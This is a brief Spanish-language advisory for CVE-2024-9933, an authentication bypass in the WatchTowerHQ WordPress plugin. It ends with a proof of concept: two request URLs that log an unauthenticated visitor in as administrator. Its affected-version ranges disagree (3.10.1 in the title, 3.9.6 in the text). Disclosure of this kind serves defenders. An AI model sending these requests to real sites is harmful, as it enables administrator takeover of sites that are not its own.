CVE-2024-9933

WatchTowerHQ <= 3.10.1 - Omisión de Autenticación a Administrador debido a la Falta de Verificación de Valor Vacío

Descripción:

El plugin WatchTowerHQ para WordPress es vulnerable a una omisión de autenticación en versiones hasta la 3.9.6 inclusive. Esto se debe a que el valor predeterminado de 'watchtower_ota_token' está vacío y falta la comprobación de valor no vacío en la función 'Password_Less_Access::login'. Esto hace posible que atacantes no autenticados inicien sesión como el usuario administrador del cliente WatchTowerHQ.

State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

POC

http://kubernetes.docker.internal/?wht_login=1

OR

http://kubernetes.docker.internal/?wht_login=1&access_token=not_set

Si es vulnerable, iniciará sesión como administrador.